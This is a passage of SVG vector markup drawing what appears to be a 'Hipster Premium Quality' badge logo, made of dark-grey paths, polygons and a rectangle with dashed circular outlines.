<path fill="#2B292A" d="M151.8-208.2c-0.5-1.1-1.2-2.2-2-3.1l-1.5,1.3c0.7,0.8,1.3,1.7,1.7,2.7L151.8-208.2z"/>
<path fill="#2B292A" d="M30-107.2c0.1-0.6,0.1-1.1,0.2-1.7l-2-0.2c0,0.5-0.1,1.1-0.2,1.6c-0.1,0.6-0.1,1.3-0.1,1.9l2,0
C29.8-106.1,29.9-106.6,30-107.2z"/>
<path fill="#2B292A" d="M145-68.7c-0.5,0.3-1,0.5-1.5,0.7l0.8,1.9c0.6-0.2,1.2-0.5,1.7-0.8c0.5-0.3,1-0.6,1.5-1l-1.2-1.6
C145.9-69.3,145.5-69,145-68.7z"/>
<path fill="#2B292A" d="M145.9-212.1l1.1-1.7c-0.3-0.2-0.7-0.4-1-0.7c-0.7-0.4-1.5-0.8-2.2-1.1l-0.7,1.9c0.7,0.2,1.3,0.6,1.9,0.9
C145.3-212.5,145.6-212.3,145.9-212.1z"/>
<path fill="#2B292A" d="M54.3-79.5l-1.7,1c0.6,1,1.1,1.9,1.6,3l1.8-0.8C55.5-77.4,54.9-78.5,54.3-79.5z"/>
<path fill="#2B292A" d="M48.6-83.8c0.8,0.8,1.5,1.7,2.1,2.6l1.6-1.2c-0.7-0.9-1.5-1.9-2.3-2.7L48.6-83.8z"/>
<path fill="#2B292A" d="M28.3-101.9c0.3,1.2,0.8,2.3,1.4,3.4l1.8-1c-0.5-0.9-0.9-1.9-1.2-3L28.3-101.9z"/>
<path fill="#2B292A" d="M87.7-62.8c1,0.4,2,0.9,3,1.5l1-1.7c-1-0.6-2.1-1.1-3.2-1.6L87.7-62.8z"/>
<path fill="#2B292A" d="M94.7-61.1l-1.2,1.6c0.4,0.3,0.7,0.5,1.1,0.8c0.6,0.5,1.2,0.9,1.9,1.2l1-1.8c-0.6-0.3-1.1-0.7-1.6-1.1
C95.4-60.5,95-60.8,94.7-61.1z"/>
<path fill="#2B292A" d="M55.6-72.3c0.6,1.1,1.4,2.1,2.2,2.9l1.4-1.4c-0.7-0.8-1.4-1.6-1.9-2.5L55.6-72.3z"/>
<path fill="#2B292A" d="M28.1-173.3c0.1,1.1,0.2,2.2,0.2,3.3l2,0c0-1.2-0.1-2.4-0.2-3.5L28.1-173.3z"/>
<path fill="#2B292A" d="M43.6-88.2c0.9,0.6,1.8,1.3,2.6,2.1l1.3-1.5c-0.9-0.8-1.8-1.5-2.8-2.2L43.6-88.2z"/>
<path fill="#2B292A" d="M31.8-95.5c0.8,0.9,1.8,1.7,2.8,2.4l1.1-1.7c-0.9-0.6-1.7-1.2-2.4-2L31.8-95.5z"/>
<path fill="#2B292A" d="M37.8-91.6c1,0.4,2,1,3,1.5l1-1.7c-1-0.6-2.1-1.1-3.2-1.6L37.8-91.6z"/>
<path fill="#2B292A" d="M184.3-133.5l1.6,1.2c0.7-1,1.3-2.1,1.7-3.3l-1.9-0.7C185.4-135.3,184.9-134.3,184.3-133.5z"/>
<path fill="#2B292A" d="M177.9-121l1.9,0.5c0.3-1.1,0.6-2.1,1-3.2l-1.9-0.7C178.6-123.2,178.2-122.1,177.9-121z"/>
<path fill="#2B292A" d="M99.8-56.1c1.2,0.3,2.4,0.5,3.7,0.5v-2c-1.1,0-2.1-0.1-3.2-0.4L99.8-56.1z"/>
<path fill="#2B292A" d="M155.6-83.6l1.6,1.3c0.7-0.9,1.5-1.7,2.2-2.5l-1.4-1.4C157.1-85.4,156.3-84.5,155.6-83.6z"/>
<path fill="#2B292A" d="M182-151.2l1.7-1.1c-0.6-0.9-1.1-1.9-1.6-2.9l-1.8,0.9C180.8-153.3,181.3-152.2,182-151.2z"/>
<path fill="#2B292A" d="M179.1-164.7c-0.2-1.1-0.3-2.2-0.3-3.3l-2,0.1c0.1,1.2,0.2,2.4,0.3,3.5L179.1-164.7z"/>
<path fill="#2B292A" d="M180.5-127.6l1.8,0.9c0.5-1,1.1-2,1.7-2.9l-1.7-1.1C181.6-129.6,181-128.6,180.5-127.6z"/>
<path fill="#2B292A" d="M172.4-95.6l1.3,1.6c1-0.8,1.8-1.7,2.6-2.7l-1.6-1.2C174-97,173.2-96.3,172.4-95.6z"/>
<path fill="#2B292A" d="M176.2-100.7l1.9,0.8c0.5-1.1,0.8-2.3,1-3.6l-2-0.3C176.9-102.7,176.6-101.7,176.2-100.7z"/>
<path fill="#2B292A" d="M178.7-110.5l-2,0.1c0,1.1,0.1,2.2,0.3,3.3c0,0.1,0,0.2,0,0.3l2-0.2c0-0.1,0-0.2,0-0.3
C178.9-108.4,178.8-109.5,178.7-110.5z"/>
<path fill="#2B292A" d="M176.8-114l2,0.1c0.1-1.1,0.2-2.2,0.4-3.3l-2-0.3C177-116.3,176.8-115.1,176.8-114z"/>
<path fill="#2B292A" d="M187.4-146.4c-0.5-1.1-1.1-2.2-1.9-3.2l-1.6,1.2c0.7,0.9,1.2,1.8,1.6,2.7L187.4-146.4z"/>
<path fill="#2B292A" d="M170-189.5c-1-0.4-2-0.9-3-1.4l-0.9,1.8c1,0.6,2.1,1.1,3.2,1.5L170-189.5z"/>
<path fill="#2B292A" d="M169.3-93.8c-0.9,0.4-1.9,0.8-2.8,1.3l0.9,1.8c0.9-0.4,1.7-0.8,2.6-1.2c0.2-0.1,0.3-0.1,0.5-0.2l-0.8-1.8
C169.6-93.9,169.4-93.9,169.3-93.8z"/>
<path fill="#2B292A" d="M164.1-192.6c-0.9-0.6-1.8-1.3-2.7-2l-1.3,1.5c0.9,0.8,1.9,1.5,2.8,2.1L164.1-192.6z"/>
<path fill="#2B292A" d="M151.7-77.7l1.8,0.9c0.5-1,1.1-2,1.7-2.9l-1.7-1.1C152.8-79.8,152.2-78.8,151.7-77.7z"/>
<path fill="#2B292A" d="M160.6-88.6l1.3,1.6c0.9-0.7,1.8-1.4,2.7-2l-1.1-1.7C162.5-90.1,161.5-89.4,160.6-88.6z"/>
<path fill="#2B292A" d="M177-174.2c-0.1,0.9-0.2,1.8-0.3,2.7l2,0.1c0-0.9,0.1-1.7,0.3-2.6c0-0.3,0.1-0.6,0.1-0.8l-2-0.2
C177.1-174.7,177-174.5,177-174.2z"/>
<path fill="#2B292A" d="M148.6-71.8l1.6,1.2c0.8-1,1.4-2,1.9-3.2l-1.8-0.8C149.8-73.5,149.2-72.6,148.6-71.8z"/>
<path fill="#2B292A" d="M178.9-178.5c-0.2-1.2-0.6-2.4-1.1-3.5l-1.8,0.8c0.4,1,0.8,2,0.9,3L178.9-178.5z"/>
<path fill="#2B292A" d="M178.8-157.6l1.9-0.7c-0.4-1-0.7-2.1-1-3.2l-1.9,0.5C178.1-159.8,178.4-158.7,178.8-157.6z"/>
<path fill="#2B292A" d="M174.3-183.9l1.6-1.3c-0.8-1-1.7-1.8-2.7-2.6l-1.2,1.6C172.9-185.5,173.7-184.7,174.3-183.9z"/>
<path fill="#2B292A" d="M186.6-140.7c0,0.5,0,0.9-0.1,1.4l2,0.2c0.1-0.5,0.1-1,0.1-1.6c0-0.7-0.1-1.4-0.2-2.1l-2,0.3
C186.5-141.9,186.6-141.3,186.6-140.7z"/>
<path fill="#2B292A" d="M54.8-202.8l-1.8-1c-0.5,1-1.1,1.9-1.8,2.8l1.6,1.2C53.6-200.8,54.2-201.8,54.8-202.8z"/>
<path fill="#2B292A" d="M56.6-206.5c0.3-0.8,0.8-1.6,1.3-2.4l-1.7-1.1c-0.6,0.9-1.1,1.8-1.5,2.7c-0.1,0.2-0.1,0.3-0.2,0.5
l1.8,0.8C56.4-206.2,56.5-206.3,56.6-206.5z"/>
<path fill="#2B292A" d="M50.8-197l-1.5-1.3c-0.7,0.8-1.5,1.7-2.3,2.4l1.4,1.5C49.2-195.3,50-196.1,50.8-197z"/>
<path fill="#2B292A" d="M61.9-212.7c0.2-0.1,0.4-0.2,0.7-0.4l-0.9-1.8c-0.3,0.1-0.5,0.3-0.8,0.4c-0.8,0.5-1.6,1-2.3,1.6l1.3,1.5
C60.6-211.8,61.2-212.3,61.9-212.7z"/>
<path fill="#2B292A" d="M68.8-214.3l0.1-2c-1.2-0.1-2.5,0-3.7,0.3l0.4,2C66.6-214.3,67.7-214.4,68.8-214.3z"/>
<path fill="#2B292A" d="M61.8-68.8l-1,1.7l0.2,0.1c1,0.6,2.1,1.1,3.2,1.4l0.6-1.9c-1-0.3-1.9-0.7-2.8-1.2L61.8-68.8z"/>
<path fill="#2B292A" d="M67.8-65.1c0.1,0,0.3,0,0.4,0c0.7,0,1.3,0,2-0.1c0.4-0.1,0.8-0.1,1.2-0.1l-0.2-2c-0.4,0-0.8,0.1-1.2,0.1
c-0.7,0.1-1.4,0.1-2.1,0.1L67.8-65.1z"/>
<path fill="#2B292A" d="M45.6-192.2l-1.2-1.6c-0.9,0.7-1.8,1.3-2.8,1.9l1.1,1.7C43.7-190.8,44.7-191.4,45.6-192.2z"/>
<path fill="#2B292A" d="M30.5-179.9l-1.9-0.6c-0.4,1.2-0.6,2.4-0.7,3.6l2,0.1C29.9-177.8,30.1-178.9,30.5-179.9z"/>
<path fill="#2B292A" d="M37.7-187.6c0.6-0.3,1.3-0.5,1.9-0.8l-0.9-1.8c-0.6,0.3-1.2,0.5-1.8,0.8c-0.5,0.2-0.9,0.4-1.4,0.7
l0.9,1.8C36.9-187.3,37.3-187.4,37.7-187.6z"/>
<path fill="#2B292A" d="M75.7-213.9l-0.1-2c-1.1,0-2.2,0-3.3-0.1l-0.1,2c0.8,0.1,1.7,0.1,2.5,0.1C75-213.9,75.4-213.9,75.7-213.9
z"/>
<path fill="#2B292A" d="M30.1-166.4l-2-0.2c-0.1,1.1-0.3,2.2-0.5,3.3l2,0.4C29.9-164.1,30-165.3,30.1-166.4z"/>
<path fill="#2B292A" d="M33.9-185.2l-1.4-1.5c-0.9,0.8-1.7,1.8-2.4,2.8l1.7,1.1C32.4-183.7,33.1-184.5,33.9-185.2z"/>
<path fill="#2B292A" d="M116.7-63.7l0.9,1.8c1-0.5,2-1,3-1.4l-0.7-1.9C118.8-64.8,117.7-64.3,116.7-63.7z"/>
<path fill="#2B292A" d="M120.2-218.3c-1-0.4-2-0.9-3-1.4l-0.9,1.8c1,0.6,2.1,1.1,3.2,1.5L120.2-218.3z"/>
<path fill="#2B292A" d="M101.2-223.6l-0.4-2c-1.2,0.2-2.4,0.6-3.5,1.1l0.8,1.8C99.1-223.1,100.2-223.4,101.2-223.6z"/>
<path fill="#2B292A" d="M108.2-225c-1.2-0.4-2.4-0.6-3.6-0.7l-0.1,2c1.1,0.1,2.1,0.3,3.1,0.6L108.2-225z"/>
<path fill="#2B292A" d="M126.6-216.4c-1.1-0.2-2.2-0.5-3.3-0.8l-0.6,1.9c1.1,0.3,2.3,0.6,3.5,0.8L126.6-216.4z"/>
<path fill="#2B292A" d="M74.7-65.5c1.1,0,2.2,0.1,3.3,0.2l0.2-2c-1.2-0.1-2.4-0.2-3.5-0.2L74.7-65.5z"/>
<path fill="#2B292A" d="M111.2-60.3c-0.1,0.1-0.3,0.2-0.4,0.3l1.2,1.6c0.2-0.1,0.3-0.3,0.5-0.4c0.7-0.6,1.5-1.1,2.2-1.6l-1.1-1.7
C112.8-61.4,112-60.9,111.2-60.3z"/>
<path fill="#2B292A" d="M123.8-64.3c1.1-0.3,2.2-0.5,3.3-0.7l-0.3-2c-1.2,0.2-2.3,0.4-3.5,0.8L123.8-64.3z"/>
<path fill="#2B292A" d="M104.9-57.7l0.2,2c1.2-0.1,2.4-0.4,3.6-0.9l-0.7-1.9C107-58.1,105.9-57.8,104.9-57.7z"/>
<path fill="#2B292A" d="M133.3-213.9l-0.1-2c-1.1,0-2.2,0-3.3-0.1l-0.2,2c0.9,0.1,1.7,0.1,2.6,0.1
C132.6-213.9,133-213.9,133.3-213.9z"/>
<path fill="#2B292A" d="M113.2-219.7l1.1-1.7c-0.6-0.4-1.2-0.9-1.8-1.3c-0.3-0.2-0.6-0.5-1-0.7l-1.1,1.7c0.3,0.2,0.6,0.4,0.8,0.6
C111.8-220.7,112.5-220.2,113.2-219.7z"/>
<path fill="#2B292A" d="M89.4-217.2l-0.9-1.8c-1,0.5-2,0.9-3.1,1.3l0.7,1.9C87.2-216.3,88.3-216.7,89.4-217.2z"/>
<path fill="#2B292A" d="M81.3-64.8c1.1,0.2,2.2,0.5,3.2,0.9l0.6-1.9c-1.1-0.4-2.3-0.7-3.4-0.9L81.3-64.8z"/>
<path fill="#2B292A" d="M95.5-220.9l-1.2-1.6c-0.9,0.7-1.8,1.3-2.8,1.9l1,1.7C93.5-219.5,94.5-220.2,95.5-220.9z"/>
<path fill="#2B292A" d="M82.7-214.9l-0.5-2c-1.1,0.3-2.2,0.5-3.3,0.6l0.3,2C80.4-214.4,81.6-214.6,82.7-214.9z"/>
<path fill="#2B292A" d="M102.5-200v-11.6h-1.4c-0.6,2.6-4.5,20.1-9.4,25.6c0,0,4.4,5,4.8,10.3h13.8c0.4-5.3,4.8-10.3,4.8-10.3
c-4.9-5.5-8.8-23-9.4-25.6h-1.4v11.6c1,0.4,1.7,1.4,1.7,2.5c0,1.5-1.2,2.7-2.7,2.7c-1.5,0-2.7-1.2-2.7-2.7
C100.8-198.6,101.5-199.6,102.5-200z"/>
<rect x="95" y="-173.4" fill="#2B292A" width="17" height="7.5"/>
<polygon fill="#2B292A" points="57.3,-118.9 53.5,-115.1 49.7,-118.9 49.1,-118.3 48.5,-117.7 52.3,-113.9 48.5,-110.1
49.1,-109.5 49.7,-108.9 53.5,-112.7 57.3,-108.9 58.5,-110.1 54.7,-113.9 58.5,-117.7 "/>
<polygon fill="#2B292A" points="149.7,-118.9 148.5,-117.7 152.3,-113.9 148.5,-110.1 149.7,-108.9 153.5,-112.7 157.3,-108.9
157.9,-109.5 158.5,-110.1 154.7,-113.9 158.5,-117.7 157.9,-118.3 157.3,-118.9 153.5,-115.1 "/>
</g>
<path fill="#2B292A" d="M141.7,166.3l1,1.7c1-0.6,2-1.2,3-1.8l-1.1-1.7C143.6,165.1,142.7,165.7,141.7,166.3z"/>
<path fill="#2B292A" d="M72.3,172.1c1.1,0.5,2.1,0.9,3.2,1.3l0.7-1.9c-1.1-0.4-2.1-0.8-3.1-1.3L72.3,172.1z"/>
<path fill="#2B292A" d="M92.4,177.7c1.1,0.2,2.3,0.3,3.5,0.4l0.2-2c-1.1-0.1-2.3-0.2-3.4-0.4L92.4,177.7z"/>
<path fill="#2B292A" d="M66,169c1,0.6,2.1,1.1,3.1,1.6l0.9-1.8c-1-0.5-2-1-3-1.6L66,169z"/>
<path fill="#2B292A" d="M85.5,176.5c1.1,0.3,2.3,0.5,3.4,0.7l0.4-2c-1.1-0.2-2.2-0.4-3.3-0.7L85.5,176.5z"/>
<path fill="#2B292A" d="M78.8,174.6c1.1,0.4,2.2,0.7,3.3,1l0.5-1.9c-1.1-0.3-2.2-0.6-3.2-1L78.8,174.6z"/>
<path fill="#2B292A" d="M104.2,176.4h-1.3c-1.1,0-2.3,0-3.4-0.1l-0.1,2c1.2,0.1,2.3,0.1,3.5,0.1h1.3c0,0,0,0,0,0c0.7,0,1.3,0,2,0
l-0.1-2C105.5,176.4,104.8,176.4,104.2,176.4z"/>
<path fill="#2B292A" d="M109.5,176.2l0.1,2c1.2-0.1,2.3-0.2,3.5-0.3l-0.2-2C111.8,176,110.6,176.1,109.5,176.2z"/>
<path fill="#2B292A" d="M135.7,169.4l0.9,1.8c1-0.5,2.1-1,3.1-1.6l-0.9-1.8C137.7,168.5,136.7,169,135.7,169.4z"/>
<path fill="#2B292A" d="M129.4,172l0.7,1.9c1.1-0.4,2.2-0.8,3.3-1.3l-0.8-1.9C131.5,171.2,130.5,171.7,129.4,172z"/>
<path fill="#2B292A" d="M116.3,175.4l0.3,2c1.1-0.2,2.3-0.4,3.4-0.6l-0.4-2C118.5,175,117.4,175.3,116.3,175.4z"/>
<path fill="#2B292A" d="M122.9,174l0.5,1.9c1.1-0.3,2.3-0.6,3.4-1l-0.6-1.9C125.1,173.4,124,173.8,122.9,174z"/>
<g>
<g>
<g>
<path fill="#2B292A" d="M43.3,82.6v10.9h12.6V82.6h3.4v26h-3.4V96.5H43.3v12.2H40v-26H43.3z"/>
<path fill="#2B292A" d="M68.5,82.6v26h-3.4v-26H68.5z"/>
<path fill="#2B292A" d="M74.4,83c1.6-0.3,3.7-0.5,6.4-0.5c3.3,0,5.8,0.8,7.3,2.2c1.4,1.2,2.3,3.1,2.3,5.4c0,2.4-0.7,4.2-2,5.6
c-1.8,1.9-4.7,2.9-8,2.9c-1,0-1.9,0-2.7-0.2v10.4h-3.4V83z M77.7,95.5c0.7,0.2,1.7,0.3,2.8,0.3c4.1,0,6.5-2,6.5-5.6
c0-3.4-2.4-5.1-6.1-5.1c-1.5,0-2.6,0.1-3.2,0.3V95.5z"/>
<path fill="#2B292A" d="M94.4,104.6c1.5,0.9,3.7,1.7,6,1.7c3.4,0,5.4-1.8,5.4-4.4c0-2.4-1.4-3.8-4.9-5.2
c-4.2-1.5-6.9-3.7-6.9-7.4c0-4.1,3.4-7.1,8.4-7.1c2.7,0,4.6,0.6,5.8,1.3l-0.9,2.7c-0.8-0.5-2.6-1.2-4.9-1.2
c-3.6,0-4.9,2.1-4.9,3.9c0,2.4,1.6,3.6,5.2,5c4.4,1.7,6.6,3.8,6.6,7.6c0,4-3,7.5-9.1,7.5c-2.5,0-5.3-0.7-6.6-1.7L94.4,104.6z"
/>
<path fill="#2B292A" d="M118.9,85.5H111v-2.9h19.3v2.9h-8v23.2h-3.4V85.5z"/>
<path fill="#2B292A" d="M146.6,96.5h-10.1v9.4h11.3v2.8h-14.6v-26h14.1v2.8h-10.7v8.2h10.1V96.5z"/>
<path fill="#2B292A" d="M152.1,83c1.7-0.3,4.1-0.5,6.4-0.5c3.6,0,5.9,0.7,7.5,2.1c1.3,1.2,2,2.9,2,4.9c0,3.4-2.2,5.7-4.9,6.6
v0.1c2,0.7,3.2,2.5,3.8,5.3c0.8,3.6,1.5,6.1,2,7.1h-3.5c-0.4-0.7-1-3-1.7-6.2c-0.8-3.6-2.2-4.9-5.2-5.1h-3.2v11.3h-3.4V83z
M155.5,94.8h3.4c3.6,0,5.9-2,5.9-4.9c0-3.4-2.4-4.8-6-4.9c-1.6,0-2.8,0.2-3.3,0.3V94.8z"/>
</g>
</g>
<g>
<path fill="#2B292A" d="M71.1,136c0,2.8-1.8,4.4-4.9,4.4h-2.8v3.7h-2.1v-12.3h4.9C69.3,131.7,71.1,133.3,71.1,136z M69.1,136
c0-1.6-1.1-2.4-3-2.4h-2.8v4.9h2.8C68,138.5,69.1,137.7,69.1,136z"/>
<path fill="#2B292A" d="M81,144.1l-2.3-3.7c-0.2,0-0.4,0-0.6,0h-2.9v3.7h-2.1v-12.3h5c3.2,0,5,1.5,5,4.2c0,2-0.9,3.4-2.6,4
l2.8,4.1H81z M78.2,138.5c1.9,0,3-0.8,3-2.5c0-1.6-1.1-2.4-3-2.4h-2.9v4.9H78.2z"/>
<path fill="#2B292A" d="M94.7,131.7v1.9H88v3.4h6v1.9h-6v3.4h7v1.9h-9v-12.3H94.7z"/>
<path fill="#2B292A" d="M100,131.7l4.1,8.2l4.1-8.2h2.5v12.3h-1.9l0-9.2l-3.9,7.9h-1.4l-3.9-7.9v9.2h-2v-12.3H100z"/>
<path fill="#2B292A" d="M115.9,131.7v12.3h-2.1v-12.3H115.9z"/>
<path fill="#2B292A" d="M124.3,142.3c2,0,3.3-1.2,3.3-3.3v-7.2h2.1v7.2c0,3.2-2,5.2-5.4,5.2s-5.4-2-5.4-5.2v-7.2h2.1v7.2
C121,141.1,122.3,142.3,124.3,142.3z"/>
<path fill="#2B292A" d="M135.1,131.7l4.1,8.2l4.1-8.2h2.5v12.3h-1.9l0-9.2l-3.9,7.9h-1.4l-3.9-7.9v9.2h-2v-12.3H135.1z"/>
</g>
<g>
<path fill="#2B292A" d="M82.3,160.5c-0.8,0.7-1.9,1.2-3,1.2c-1.4,0-2.6-0.9-3.5-2.3c-3.3,0-5.8-2.4-5.8-5.5
c0-3.1,2.5-5.5,5.8-5.5s5.8,2.4,5.8,5.5c0,2.5-1.6,4.5-3.9,5.3c0.6,0.6,1.2,1,1.8,1c0.6,0,1.3-0.3,2-0.9L82.3,160.5z
M75.9,157.8c2.1,0,3.9-1.7,3.9-3.9c0-2.2-1.7-3.8-3.9-3.8c-2.2,0-3.9,1.7-3.9,3.8C72,156,73.8,157.8,75.9,157.8z"/>
<path fill="#2B292A" d="M88.3,157.8c1.8,0,2.9-1.1,2.9-2.9v-6.4H93v6.4c0,2.9-1.8,4.6-4.7,4.6s-4.8-1.7-4.8-4.6v-6.4h1.8v6.4
C85.4,156.7,86.5,157.8,88.3,157.8z"/>
<path fill="#2B292A" d="M102.4,156.9h-5.5l-1,2.5h-1.9l4.8-10.9h1.9l4.8,10.9h-2L102.4,156.9z M101.7,155.2l-2.1-4.8l-2.1,4.8
H101.7z"/>
<path fill="#2B292A" d="M108.7,148.4v9.2h4.7v1.7h-6.6v-10.9H108.7z"/>
<path fill="#2B292A" d="M117,148.4v10.9h-1.8v-10.9H117z"/>
<path fill="#2B292A" d="M127.3,148.4v1.7h-3.5v9.3H122v-9.3h-3.4v-1.7H127.3z"/>
<path fill="#2B292A" d="M133.4,155.7v3.6h-1.8v-3.6l-4.1-7.3h1.9l3.1,5.3l3.1-5.3h1.9L133.4,155.7z"/>
</g>
<path fill="#2B292A" d="M173.8,128c-0.4,1.1-0.8,2.1-1.3,3.2l1.8,0.8c0.5-1.1,0.9-2.2,1.3-3.2L173.8,128z"/>
<path fill="#2B292A" d="M152.7,158.4l1.3,1.5c0.9-0.8,1.7-1.5,2.6-2.3l-1.4-1.5C154.4,156.9,153.6,157.6,152.7,158.4z"/>
<path fill="#2B292A" d="M162.1,148.6l1.6,1.3c0.7-0.9,1.4-1.8,2.1-2.8l-1.6-1.2C163.5,146.8,162.8,147.7,162.1,148.6z"/>
<path fill="#2B292A" d="M147.4,162.6l1.2,1.6c0.9-0.7,1.9-1.4,2.8-2.1l-1.2-1.6C149.2,161.2,148.3,161.9,147.4,162.6z"/>
<path fill="#2B292A" d="M157.6,153.7l1.4,1.4c0.8-0.8,1.6-1.7,2.4-2.6l-1.5-1.3C159.2,152,158.4,152.9,157.6,153.7z"/>
<path fill="#2B292A" d="M166.1,143.1l1.7,1.1c0.6-1,1.3-2,1.9-2.9l-1.7-1C167.4,141.2,166.8,142.2,166.1,143.1z"/>
<path fill="#2B292A" d="M54.5,161.2c0.9,0.7,1.8,1.5,2.7,2.2l1.2-1.6c-0.9-0.7-1.8-1.4-2.7-2.1L54.5,161.2z"/>
<path fill="#2B292A" d="M169.6,137.3l1.8,1c0.6-1,1.1-2.1,1.6-3.1l-1.8-0.9C170.7,135.3,170.2,136.3,169.6,137.3z"/>
<path fill="#2B292A" d="M172.5,57.8l1.8-0.8c-0.5-1.1-0.9-2.1-1.4-3.2l-1.8,0.9C171.6,55.7,172.1,56.8,172.5,57.8z"/>
<path fill="#2B292A" d="M60.1,165.4c1,0.7,1.9,1.3,2.9,1.9l1.1-1.7c-1-0.6-1.9-1.2-2.9-1.8L60.1,165.4z"/>
<path fill="#2B292A" d="M171.3,50.7c-0.6-1-1.1-2-1.7-3l-1.7,1c0.6,1,1.2,2,1.7,2.9L171.3,50.7z"/>
<path fill="#2B292A" d="M116.4,11.7c-1.1-0.2-2.3-0.3-3.5-0.5l-0.2,2c1.1,0.1,2.3,0.3,3.4,0.5L116.4,11.7z"/>
<path fill="#2B292A" d="M32.6,62.8c0.4-1.1,0.8-2.1,1.2-3.2l-1.9-0.7c-0.4,1.1-0.8,2.2-1.2,3.3L32.6,62.8z"/>
<path fill="#2B292A" d="M95.7,13.1l-0.2-2c-1.2,0.1-2.3,0.2-3.5,0.4l0.3,2C93.4,13.3,94.6,13.2,95.7,13.1z"/>
<path fill="#2B292A" d="M82.4,15.6l-0.5-1.9c-1.1,0.3-2.2,0.7-3.3,1l0.6,1.9C80.2,16.2,81.3,15.9,82.4,15.6z"/>
<path fill="#2B292A" d="M39.9,47.5l-1.7-1.1c-0.6,1-1.2,2-1.8,3l1.7,1C38.7,49.5,39.3,48.5,39.9,47.5z"/>
<path fill="#2B292A" d="M36.5,53.4l-1.8-0.9c-0.5,1-1,2.1-1.5,3.1l1.8,0.8C35.5,55.5,36,54.5,36.5,53.4z"/>
<path fill="#2B292A" d="M49.3,156.5c0.8,0.8,1.7,1.6,2.5,2.4l1.3-1.5c-0.8-0.8-1.7-1.5-2.5-2.3L49.3,156.5z"/>
<path fill="#2B292A" d="M123.2,13.1c-1.1-0.3-2.3-0.6-3.4-0.8l-0.4,2c1.1,0.2,2.2,0.5,3.3,0.8L123.2,13.1z"/>
<path fill="#2B292A" d="M129.9,15.2c-1.1-0.4-2.2-0.8-3.3-1.1L126,16c1.1,0.3,2.2,0.7,3.2,1.1L129.9,15.2z"/>
<path fill="#2B292A" d="M43.8,42l-1.6-1.2c-0.7,0.9-1.4,1.9-2.1,2.8l1.6,1.1C42.4,43.8,43.1,42.9,43.8,42z"/>
<path fill="#2B292A" d="M102.5,12.8l0-2c-1.2,0-2.3,0-3.5,0.1l0.1,2C100.2,12.8,101.4,12.8,102.5,12.8z"/>
<path fill="#2B292A" d="M109.4,10.9c-1.2-0.1-2.3-0.1-3.5-0.2l0,2c1.1,0,2.3,0.1,3.4,0.2L109.4,10.9z"/>
<path fill="#2B292A" d="M58.2,27.7L57,26c-0.9,0.7-1.8,1.4-2.7,2.2l1.3,1.5C56.4,29,57.3,28.3,58.2,27.7z"/>
<path fill="#2B292A" d="M148.4,24.8c-0.9-0.7-1.9-1.3-2.9-2l-1.1,1.7c0.9,0.6,1.9,1.3,2.8,1.9L148.4,24.8z"/>
<path fill="#2B292A" d="M153.9,29.2c-0.9-0.8-1.8-1.5-2.7-2.2l-1.2,1.6c0.9,0.7,1.8,1.4,2.6,2.2L153.9,29.2z"/>
<path fill="#2B292A" d="M142.5,21.1c-1-0.6-2-1.2-3.1-1.7l-0.9,1.8c1,0.5,2,1.1,3,1.6L142.5,21.1z"/>
<path fill="#2B292A" d="M163.6,39.2c-0.7-0.9-1.5-1.8-2.3-2.7l-1.5,1.3c0.8,0.8,1.5,1.7,2.2,2.6L163.6,39.2z"/>
<path fill="#2B292A" d="M157.5,35.3l1.4-1.4c-0.3-0.3-0.5-0.6-0.8-0.8c-0.5-0.5-1.1-1.1-1.7-1.6l-1.4,1.5c0.5,0.5,1.1,1,1.6,1.6
C157,34.8,157.2,35.1,157.5,35.3z"/>
<path fill="#2B292A" d="M136.3,17.8c-1-0.5-2.1-1-3.2-1.4l-0.8,1.9c1,0.4,2.1,0.9,3.1,1.4L136.3,17.8z"/>
<path fill="#2B292A" d="M63.8,23.8l-1.1-1.7c-1,0.6-2,1.3-2.9,1.9l1.1,1.7C61.9,25,62.8,24.4,63.8,23.8z"/>
<path fill="#2B292A" d="M75.9,17.8l-0.7-1.9c-1.1,0.4-2.2,0.9-3.2,1.3l0.8,1.8C73.8,18.6,74.9,18.2,75.9,17.8z"/>
<path fill="#2B292A" d="M167.7,44.8c-0.6-1-1.3-1.9-2-2.9l-1.6,1.2c0.7,0.9,1.3,1.8,2,2.8L167.7,44.8z"/>
<path fill="#2B292A" d="M53,32l-1.4-1.5c-0.9,0.8-1.7,1.6-2.5,2.4l1.4,1.4C51.3,33.5,52.1,32.7,53,32z"/>
<path fill="#2B292A" d="M69.7,20.5l-0.9-1.8c-1,0.5-2.1,1.1-3.1,1.6l1,1.8C67.7,21.5,68.7,21,69.7,20.5z"/>
<path fill="#2B292A" d="M48.1,36.8l-1.5-1.4c-0.8,0.9-1.6,1.7-2.3,2.6l1.5,1.3C46.6,38.5,47.4,37.6,48.1,36.8z"/>
<path fill="#2B292A" d="M89,14l-0.4-2c-1.1,0.2-2.3,0.5-3.4,0.7l0.5,2C86.8,14.5,87.9,14.2,89,14z"/>
<path fill="#2B292A" d="M44.6,151.4c0.7,0.9,1.5,1.8,2.3,2.6l1.5-1.4c-0.8-0.8-1.5-1.7-2.3-2.5L44.6,151.4z"/>
<path fill="#2B292A" d="M35.2,133l-1.8,0.8c0.5,1.1,1,2.1,1.5,3.1l1.8-0.9C36.2,135,35.7,134,35.2,133z"/>
<path fill="#2B292A" d="M36.6,140c0.6,1,1.2,2,1.8,3l1.7-1.1c-0.6-1-1.2-1.9-1.8-2.9L36.6,140z"/>
<path fill="#2B292A" d="M32.7,126.7l-1.9,0.7c0.4,1.1,0.8,2.2,1.2,3.3l1.9-0.7C33.4,128.8,33,127.7,32.7,126.7z"/>
<path fill="#2B292A" d="M40.3,145.9c0.7,0.9,1.4,1.9,2.1,2.8l1.6-1.2c-0.7-0.9-1.4-1.8-2-2.7L40.3,145.9z"/>
<path fill="#2B292A" d="M20.2,126c4,13.8,11.4,26.5,21.8,36.9c16.2,16.2,37.8,25.2,60.8,25.2h1.3c23,0,44.5-8.9,60.8-25.2
c10.4-10.4,17.9-23.1,21.8-36.9h20.2l-6.5-31.1l6.5-31.7h-20.1c-4-13.8-11.4-26.5-21.8-36.9c-16.2-16.2-37.8-25.2-60.8-25.2h-1.3
c-23,0-44.5,8.9-60.8,25.2C31.6,36.7,24.2,49.4,20.2,63.2H0l7.5,30.6L0,126H20.2z M11.1,93.8l-5-20.1h11.8h1.7h1.8h6.3h2h155.8
h1.8h1.7h12.2l-4.4,21.3l4.1,19.7h-11.8h-1.7h-1.7H29.6h-2h-6.3h-1.7h-1.7H6.2L11.1,93.8z M102.8,4.6h1.3
c22,0,42.7,8.6,58.3,24.2c9.8,9.8,16.8,21.6,20.7,34.5h-6.5c-0.3-1-0.7-2-1-2.9l-1.9,0.7c0.3,0.7,0.5,1.5,0.8,2.2H23.8
